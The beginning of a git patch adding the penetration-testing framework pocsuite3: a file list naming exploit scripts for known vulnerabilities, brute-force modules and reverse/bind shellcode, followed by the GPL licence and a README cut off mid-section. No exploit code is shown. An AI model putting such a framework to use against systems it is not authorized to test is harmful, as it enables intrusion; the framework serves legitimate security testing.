From b6479d8cfad77371f9e0d5603915fb2c261fbbd4 Mon Sep 17 00:00:00 2001 From: hysia Date: Fri, 15 Mar 2019 15:04:02 +0800 Subject: [PATCH] init commit for public --- .coveragerc | 22 + .gitignore | 65 + CHANGELOG.md | 3 + CONTRIBUTORS.md | 14 + COPYING | 298 +++ MANIFEST.in | 6 + README.md | 90 + build.py | 0 docs/CODING.md | 691 +++++++ docs/USAGE.md | 156 ++ make.bat | 2 + makefile | 40 + pocsuite3/__init__.py | 14 + pocsuite3/api/__init__.py | 64 + pocsuite3/cli.py | 85 + pocsuite3/console.py | 28 + pocsuite3/data/password-top100.txt | 100 + pocsuite3/data/user-agents.txt | 0 pocsuite3/lib/__init__.py | 0 pocsuite3/lib/controller/__init__.py | 0 pocsuite3/lib/controller/controller.py | 132 ++ pocsuite3/lib/core/__init__.py | 0 pocsuite3/lib/core/clear.py | 16 + pocsuite3/lib/core/common.py | 858 ++++++++ pocsuite3/lib/core/convert.py | 42 + pocsuite3/lib/core/data.py | 24 + pocsuite3/lib/core/datatype.py | 34 + pocsuite3/lib/core/decorators.py | 18 + pocsuite3/lib/core/enums.py | 136 ++ pocsuite3/lib/core/exception.py | 52 + pocsuite3/lib/core/interpreter.py | 526 +++++ pocsuite3/lib/core/interpreter_option.py | 186 ++ pocsuite3/lib/core/log.py | 39 + pocsuite3/lib/core/option.py | 595 ++++++ pocsuite3/lib/core/plugin.py | 71 + pocsuite3/lib/core/poc.py | 281 +++ pocsuite3/lib/core/readlineng.py | 58 + pocsuite3/lib/core/register.py | 103 + pocsuite3/lib/core/revision.py | 57 + pocsuite3/lib/core/settings.py | 91 + pocsuite3/lib/core/shell.py | 143 ++ pocsuite3/lib/core/threads.py | 103 + pocsuite3/lib/core/update.py | 80 + pocsuite3/lib/helper/__init__.py | 0 pocsuite3/lib/helper/archieve/__init__.py | 0 pocsuite3/lib/helper/archieve/jar.py | 43 + pocsuite3/lib/helper/archieve/zip.py | 38 + pocsuite3/lib/helper/java/__init__.py | 0 pocsuite3/lib/helper/java/serialization.py | 946 +++++++++ pocsuite3/lib/parse/__init__.py | 0 pocsuite3/lib/parse/cmd.py | 138 ++ pocsuite3/lib/parse/url.py | 39 + pocsuite3/lib/request/__init__.py | 15 + pocsuite3/lib/request/patch/__init__.py | 12 + pocsuite3/lib/request/patch/add_httpraw.py | 72 + pocsuite3/lib/request/patch/hook_request.py | 58 + .../request/patch/hook_request_redirect.py | 18 + .../lib/request/patch/remove_ssl_verify.py | 5 + .../lib/request/patch/remove_warnings.py | 4 + pocsuite3/lib/utils/__init__.py | 55 + pocsuite3/modules/__init__.py | 0 pocsuite3/modules/ceye/__init__.py | 185 ++ pocsuite3/modules/listener/__init__.py | 5 + pocsuite3/modules/listener/bind_tcp.py | 0 pocsuite3/modules/listener/reverse_tcp.py | 292 +++ pocsuite3/modules/seebug/__init__.py | 124 ++ pocsuite3/modules/shodan/__init__.py | 93 + pocsuite3/modules/spider/__init__.py | 120 ++ pocsuite3/modules/zoomeye/__init__.py | 121 ++ pocsuite3/plugins/__init__.py | 0 pocsuite3/plugins/html_report.py | 187 ++ pocsuite3/plugins/poc_from_redis.py | 58 + pocsuite3/plugins/poc_from_seebug.py | 40 + pocsuite3/plugins/target_from_cidr.py | 42 + pocsuite3/plugins/target_from_redis.py | 56 + pocsuite3/plugins/target_from_shodan.py | 34 + pocsuite3/plugins/target_from_zoomeye.py | 34 + pocsuite3/pocs/__init__.py | 0 pocsuite3/pocs/drupalgeddon2.py | 64 + pocsuite3/pocs/ecshop_rce.py | 160 ++ pocsuite3/pocs/ftp_burst.py | 136 ++ pocsuite3/pocs/libssh_auth_bypass.py | 128 ++ pocsuite3/pocs/node_red_unauthorized_rce.py | 281 +++ pocsuite3/pocs/redis_unauthorized_access.py | 102 + pocsuite3/pocs/ssh_burst.py | 130 ++ pocsuite3/pocs/telnet_burst.py | 141 ++ pocsuite3/pocs/thinkphp_rce.py | 121 ++ pocsuite3/pocs/thinkphp_rce2.py | 112 ++ pocsuite3/pocs/wd_nas_login_bypass_rce.py | 91 + ...weblogic_cve_2017_10271_unserialization.py | 149 ++ pocsuite3/shellcodes/__init__.py | 152 ++ pocsuite3/shellcodes/base.py | 29 + .../data/java/reverse_tcp/Payload.class | Bin 0 -> 3082 bytes .../data/java/src/ReverseTCP/Payload.java | 84 + pocsuite3/shellcodes/data/linux/bind_tcp.bin | 1 + .../shellcodes/data/linux/reverse_tcp.bin | 1 + .../shellcodes/data/linux/src/bind_tcp.asm | 56 + .../shellcodes/data/linux/src/reverse_tcp.asm | 152 ++ .../shellcodes/data/linux/x64/bind_tcp.bin | 1 + .../shellcodes/data/linux/x64/reverse_tcp.bin | 1 + .../data/linux/x64/src/bind_tcp.asm | 50 + .../data/linux/x64/src/reverse_tcp.asm | 110 + .../shellcodes/data/windows/bind_tcp.bin | 1 + .../shellcodes/data/windows/reverse_tcp.bin | 1 + .../shellcodes/data/windows/src/bind_tcp.asm | 173 ++ .../data/windows/src/reverse_tcp.asm | 160 ++ .../shellcodes/data/windows/x64/bind_tcp.bin | 1 + .../data/windows/x64/reverse_tcp.bin | 1 + .../data/windows/x64/src/bind_tcp.asm | 186 ++ .../data/windows/x64/src/reverse_tcp.asm | 173 ++ pocsuite3/shellcodes/dotnet.py | 84 + pocsuite3/shellcodes/encoder.py | 599 ++++++ pocsuite3/shellcodes/generator.py | 277 +++ pocsuite3/shellcodes/java.py | 92 + pocsuite3/shellcodes/php.py | 73 + pocsuite3/shellcodes/python.py | 56 + pocsuite3/shellcodes/tools/ld.exe | Bin 0 -> 1425408 bytes pocsuite3/shellcodes/tools/ld.gold.exe | Bin 0 -> 2712064 bytes pocsuite3/shellcodes/tools/ld64.exe | Bin 0 -> 1451008 bytes .../shellcodes/tools/libwinpthread-1.dll | Bin 0 -> 48128 bytes pocsuite3/shellcodes/tools/nasm.exe | Bin 0 -> 992768 bytes pocsuite3/shellcodes/tools/objdump.exe | Bin 0 -> 1785344 bytes pocsuite3/thirdparty/ansistrm/__init__.py | 0 pocsuite3/thirdparty/ansistrm/ansistrm.py | 198 ++ pocsuite3/thirdparty/colorama/__init__.py | 6 + pocsuite3/thirdparty/colorama/ansi.py | 102 + pocsuite3/thirdparty/colorama/ansitowin32.py | 249 +++ pocsuite3/thirdparty/colorama/initialise.py | 80 + pocsuite3/thirdparty/colorama/win32.py | 156 ++ pocsuite3/thirdparty/colorama/winterm.py | 169 ++ pocsuite3/thirdparty/markup/__init__.py | 0 pocsuite3/thirdparty/markup/markup.py | 553 +++++ pocsuite3/thirdparty/oset/__init__.py | 0 pocsuite3/thirdparty/oset/orderedset.py | 77 + pocsuite3/thirdparty/prettytable/__init__.py | 0 .../thirdparty/prettytable/prettytable.py | 1788 +++++++++++++++++ pocsuite3/thirdparty/pysocks/__init__.py | 0 pocsuite3/thirdparty/pysocks/socks.py | 910 +++++++++ pocsuite3/thirdparty/termcolor/__init__.py | 0 pocsuite3/thirdparty/termcolor/termcolor.py | 137 ++ requirements.txt | 3 + setup.cfg | 5 + setup.py | 43 + test.py | 12 + tests/__init__.py | 0 tests/login_demo.py | 60 + tests/test_api_diy_options.py | 29 + tests/test_cmd_diy_options.py | 28 + tests/test_import_pocsuite_execute.py | 25 + tests/test_osshell.py | 89 + tests/test_request_raw.py | 53 + tests/test_spier_crawl.py | 21 + tests/test_webshell.py | 32 + 153 files changed, 17111 insertions(+) create mode 100644 .coveragerc create mode 100644 .gitignore create mode 100644 CHANGELOG.md create mode 100644 CONTRIBUTORS.md create mode 100644 COPYING create mode 100644 MANIFEST.in create mode 100644 README.md create mode 100644 build.py create mode 100644 docs/CODING.md create mode 100644 docs/USAGE.md create mode 100644 make.bat create mode 100644 makefile create mode 100644 pocsuite3/__init__.py create mode 100644 pocsuite3/api/__init__.py create mode 100644 pocsuite3/cli.py create mode 100644 pocsuite3/console.py create mode 100644 pocsuite3/data/password-top100.txt create mode 100644 pocsuite3/data/user-agents.txt create mode 100644 pocsuite3/lib/__init__.py create mode 100644 pocsuite3/lib/controller/__init__.py create mode 100644 pocsuite3/lib/controller/controller.py create mode 100644 pocsuite3/lib/core/__init__.py create mode 100644 pocsuite3/lib/core/clear.py create mode 100644 pocsuite3/lib/core/common.py create mode 100644 pocsuite3/lib/core/convert.py create mode 100644 pocsuite3/lib/core/data.py create mode 100644 pocsuite3/lib/core/datatype.py create mode 100644 pocsuite3/lib/core/decorators.py create mode 100644 pocsuite3/lib/core/enums.py create mode 100644 pocsuite3/lib/core/exception.py create mode 100644 pocsuite3/lib/core/interpreter.py create mode 100644 pocsuite3/lib/core/interpreter_option.py create mode 100644 pocsuite3/lib/core/log.py create mode 100644 pocsuite3/lib/core/option.py create mode 100644 pocsuite3/lib/core/plugin.py create mode 100644 pocsuite3/lib/core/poc.py create mode 100644 pocsuite3/lib/core/readlineng.py create mode 100644 pocsuite3/lib/core/register.py create mode 100644 pocsuite3/lib/core/revision.py create mode 100644 pocsuite3/lib/core/settings.py create mode 100644 pocsuite3/lib/core/shell.py create mode 100644 pocsuite3/lib/core/threads.py create mode 100644 pocsuite3/lib/core/update.py create mode 100644 pocsuite3/lib/helper/__init__.py create mode 100644 pocsuite3/lib/helper/archieve/__init__.py create mode 100644 pocsuite3/lib/helper/archieve/jar.py create mode 100644 pocsuite3/lib/helper/archieve/zip.py create mode 100644 pocsuite3/lib/helper/java/__init__.py create mode 100644 pocsuite3/lib/helper/java/serialization.py create mode 100644 pocsuite3/lib/parse/__init__.py create mode 100644 pocsuite3/lib/parse/cmd.py create mode 100644 pocsuite3/lib/parse/url.py create mode 100644 pocsuite3/lib/request/__init__.py create mode 100644 pocsuite3/lib/request/patch/__init__.py create mode 100644 pocsuite3/lib/request/patch/add_httpraw.py create mode 100644 pocsuite3/lib/request/patch/hook_request.py create mode 100644 pocsuite3/lib/request/patch/hook_request_redirect.py create mode 100644 pocsuite3/lib/request/patch/remove_ssl_verify.py create mode 100644 pocsuite3/lib/request/patch/remove_warnings.py create mode 100644 pocsuite3/lib/utils/__init__.py create mode 100644 pocsuite3/modules/__init__.py create mode 100644 pocsuite3/modules/ceye/__init__.py create mode 100644 pocsuite3/modules/listener/__init__.py create mode 100644 pocsuite3/modules/listener/bind_tcp.py create mode 100644 pocsuite3/modules/listener/reverse_tcp.py create mode 100644 pocsuite3/modules/seebug/__init__.py create mode 100644 pocsuite3/modules/shodan/__init__.py create mode 100644 pocsuite3/modules/spider/__init__.py create mode 100644 pocsuite3/modules/zoomeye/__init__.py create mode 100644 pocsuite3/plugins/__init__.py create mode 100644 pocsuite3/plugins/html_report.py create mode 100644 pocsuite3/plugins/poc_from_redis.py create mode 100644 pocsuite3/plugins/poc_from_seebug.py create mode 100644 pocsuite3/plugins/target_from_cidr.py create mode 100644 pocsuite3/plugins/target_from_redis.py create mode 100644 pocsuite3/plugins/target_from_shodan.py create mode 100644 pocsuite3/plugins/target_from_zoomeye.py create mode 100644 pocsuite3/pocs/__init__.py create mode 100644 pocsuite3/pocs/drupalgeddon2.py create mode 100644 pocsuite3/pocs/ecshop_rce.py create mode 100644 pocsuite3/pocs/ftp_burst.py create mode 100644 pocsuite3/pocs/libssh_auth_bypass.py create mode 100644 pocsuite3/pocs/node_red_unauthorized_rce.py create mode 100644 pocsuite3/pocs/redis_unauthorized_access.py create mode 100644 pocsuite3/pocs/ssh_burst.py create mode 100644 pocsuite3/pocs/telnet_burst.py create mode 100644 pocsuite3/pocs/thinkphp_rce.py create mode 100644 pocsuite3/pocs/thinkphp_rce2.py create mode 100644 pocsuite3/pocs/wd_nas_login_bypass_rce.py create mode 100644 pocsuite3/pocs/weblogic_cve_2017_10271_unserialization.py create mode 100644 pocsuite3/shellcodes/__init__.py create mode 100644 pocsuite3/shellcodes/base.py create mode 100644 pocsuite3/shellcodes/data/java/reverse_tcp/Payload.class create mode 100644 pocsuite3/shellcodes/data/java/src/ReverseTCP/Payload.java create mode 100644 pocsuite3/shellcodes/data/linux/bind_tcp.bin create mode 100644 pocsuite3/shellcodes/data/linux/reverse_tcp.bin create mode 100644 pocsuite3/shellcodes/data/linux/src/bind_tcp.asm create mode 100644 pocsuite3/shellcodes/data/linux/src/reverse_tcp.asm create mode 100644 pocsuite3/shellcodes/data/linux/x64/bind_tcp.bin create mode 100644 pocsuite3/shellcodes/data/linux/x64/reverse_tcp.bin create mode 100644 pocsuite3/shellcodes/data/linux/x64/src/bind_tcp.asm create mode 100644 pocsuite3/shellcodes/data/linux/x64/src/reverse_tcp.asm create mode 100644 pocsuite3/shellcodes/data/windows/bind_tcp.bin create mode 100644 pocsuite3/shellcodes/data/windows/reverse_tcp.bin create mode 100644 pocsuite3/shellcodes/data/windows/src/bind_tcp.asm create mode 100644 pocsuite3/shellcodes/data/windows/src/reverse_tcp.asm create mode 100644 pocsuite3/shellcodes/data/windows/x64/bind_tcp.bin create mode 100644 pocsuite3/shellcodes/data/windows/x64/reverse_tcp.bin create mode 100644 pocsuite3/shellcodes/data/windows/x64/src/bind_tcp.asm create mode 100644 pocsuite3/shellcodes/data/windows/x64/src/reverse_tcp.asm create mode 100644 pocsuite3/shellcodes/dotnet.py create mode 100644 pocsuite3/shellcodes/encoder.py create mode 100644 pocsuite3/shellcodes/generator.py create mode 100644 pocsuite3/shellcodes/java.py create mode 100644 pocsuite3/shellcodes/php.py create mode 100644 pocsuite3/shellcodes/python.py create mode 100644 pocsuite3/shellcodes/tools/ld.exe create mode 100644 pocsuite3/shellcodes/tools/ld.gold.exe create mode 100644 pocsuite3/shellcodes/tools/ld64.exe create mode 100644 pocsuite3/shellcodes/tools/libwinpthread-1.dll create mode 100644 pocsuite3/shellcodes/tools/nasm.exe create mode 100644 pocsuite3/shellcodes/tools/objdump.exe create mode 100644 pocsuite3/thirdparty/ansistrm/__init__.py create mode 100644 pocsuite3/thirdparty/ansistrm/ansistrm.py create mode 100644 pocsuite3/thirdparty/colorama/__init__.py create mode 100644 pocsuite3/thirdparty/colorama/ansi.py create mode 100644 pocsuite3/thirdparty/colorama/ansitowin32.py create mode 100644 pocsuite3/thirdparty/colorama/initialise.py create mode 100644 pocsuite3/thirdparty/colorama/win32.py create mode 100644 pocsuite3/thirdparty/colorama/winterm.py create mode 100644 pocsuite3/thirdparty/markup/__init__.py create mode 100644 pocsuite3/thirdparty/markup/markup.py create mode 100644 pocsuite3/thirdparty/oset/__init__.py create mode 100644 pocsuite3/thirdparty/oset/orderedset.py create mode 100644 pocsuite3/thirdparty/prettytable/__init__.py create mode 100644 pocsuite3/thirdparty/prettytable/prettytable.py create mode 100644 pocsuite3/thirdparty/pysocks/__init__.py create mode 100644 pocsuite3/thirdparty/pysocks/socks.py create mode 100644 pocsuite3/thirdparty/termcolor/__init__.py create mode 100644 pocsuite3/thirdparty/termcolor/termcolor.py create mode 100644 requirements.txt create mode 100644 setup.cfg create mode 100644 setup.py create mode 100644 test.py create mode 100644 tests/__init__.py create mode 100644 tests/login_demo.py create mode 100644 tests/test_api_diy_options.py create mode 100644 tests/test_cmd_diy_options.py create mode 100644 tests/test_import_pocsuite_execute.py create mode 100644 tests/test_osshell.py create mode 100644 tests/test_request_raw.py create mode 100644 tests/test_spier_crawl.py create mode 100644 tests/test_webshell.py diff --git a/.coveragerc b/.coveragerc new file mode 100644 index 00000000..de433da0 --- /dev/null +++ b/.coveragerc @@ -0,0 +1,22 @@ +[run] +include = pocsuite3/* +omit = + *migrations* + *tests* + venv/* + +[report] +include = pocsuite3/* +omit = + *migrations* + *tests* + venv/* +exclude_lines = + pragma: no cover + def __repr__ + def __str__ + if self.debug: + if settings.DEBUG + raise AssertionError + raise NotImplementedError + if __name__ == .__main__.: diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..4e322e28 --- /dev/null +++ b/.gitignore @@ -0,0 +1,65 @@ +### OSX ### +.DS_Store +.AppleDouble +.LSOverride + +### SublimeText ### +# cache files for sublime text +*.tmlanguage.cache +*.tmPreferences.cache +*.stTheme.cache + +# workspace files are user-specific +*.sublime-workspace + +# project files should be checked into the repository, unless a significant +# proportion of contributors will probably not be using SublimeText +# *.sublime-project + +# sftp configuration file +sftp-config.json + +# Basics +*.py[cod] +__pycache__ + +# Logs +logs +*.log +pip-log.txt +npm-debug.log* + +# Unit test / coverage reports +.coverage +.tox +nosetests.xml +htmlcov + +# Translations +*.mo +*.pot + +# Pycharm +.idea/ + +# Vim + +*~ +*.swp +*.swo + +# npm +node_modules/ + +# Compass +.sass-cache + +# virtual environments +env/ +.env +venv36/ +venv/ +build/ +dist/ +*.egg-info +.eggs/ diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000..73fc905a --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,3 @@ +version 1.0 +--------------- +* Init publish \ No newline at end of file diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md new file mode 100644 index 00000000..7be8c952 --- /dev/null +++ b/CONTRIBUTORS.md @@ -0,0 +1,14 @@ +hysia +* for contributing core code + +badcode +* for contributing core code + +cc +* for contributing core code + +w7ay +* for contributing core code + +phithon +* for suggesting a couple of features \ No newline at end of file diff --git a/COPYING b/COPYING new file mode 100644 index 00000000..06a193d2 --- /dev/null +++ b/COPYING @@ -0,0 +1,298 @@ +COPYING -- Describes the terms under which pocsuite is distributed. A copy +of the GNU General Public License (GPL) is appended to this file. + +pocsuite is (C) 2014-2018 pocsuite@seebug.org + +This program is free software; you may redistribute and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation; Version 2 (or later) with the clarifications and +exceptions described below. This guarantees your right to use, modify, and +redistribute this software under certain conditions. If you wish to embed +pocsuite technology into proprietary software, we sell alternative licenses +(contact pocsuite@seebug.org). + + +**************************************************************************** + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + +**************************************************************************** diff --git a/MANIFEST.in b/MANIFEST.in new file mode 100644 index 00000000..d1b224c0 --- /dev/null +++ b/MANIFEST.in @@ -0,0 +1,6 @@ +include MANIFEST.in +include LICENSE +include README.md +include CHANGELOG.md +include CONTRIBUTORS.md +recursive-include pocsuite3 * \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 00000000..7bc1e0b0 --- /dev/null +++ b/README.md @@ -0,0 +1,90 @@ +# pocsuite3 + +[![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/knownsec/Pocsuite/master/docs/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@seebug-blue.svg)](https://twitter.com/seebug_team) [![build](https://api.travis-ci.org/knownsec/pocsuite3.svg)](https://travis-ci.org/knownsec/pocsuite3) + +## Overview + +pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). +It comes with a powerful proof-of-concept engine, many powerfull features for the ultimate penetration testers and security researchers. + +## Features +* PoC scripts can running with `attack`,`verify`, `shell` mode in different way +* Plugin ecosystem +* Dynamic loading PoC script from any where (local file, redis , database, Seebug ...) +* Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan ...) +* Results can be easily exported +* Dynamic patch and hook requests +* Both command line tool and python package import to use +* IPV6 support +* Global HTTP/HTTPS/SOCKS proxy support +* Simple spider API for PoC script to use +* Integrate with [Seebug](https://www.seebug.org) (for load PoC from Seebug website) +* Integrate with [ZoomEye](https://www.zoomeye.org) (for load target from ZoomEye `Dork`) +* Integrate with [Shodan](https://www.shodan.io) (for load target from Shodan `Dork`) +* Integrate with [Ceye](http://ceye.io/) (for verify blind DNS and HTTP request) +* Friendly debug PoC scripts with IDEs +* More ... + +## Screenshots + +### pocsuite3 console mode +[![asciicast](https://asciinema.org/a/219356.png)](https://asciinema.org/a/219356) + +### pocsuite3 shell mode +[![asciicast](https://asciinema.org/a/203101.png)](https://asciinema.org/a/203101) + +### pocsuite3 load PoC from Seebug +[![asciicast](https://asciinema.org/a/207350.png)](https://asciinema.org/a/207350) + +### pocsuite3 load multi-target from ZoomEye +[![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349) + +### 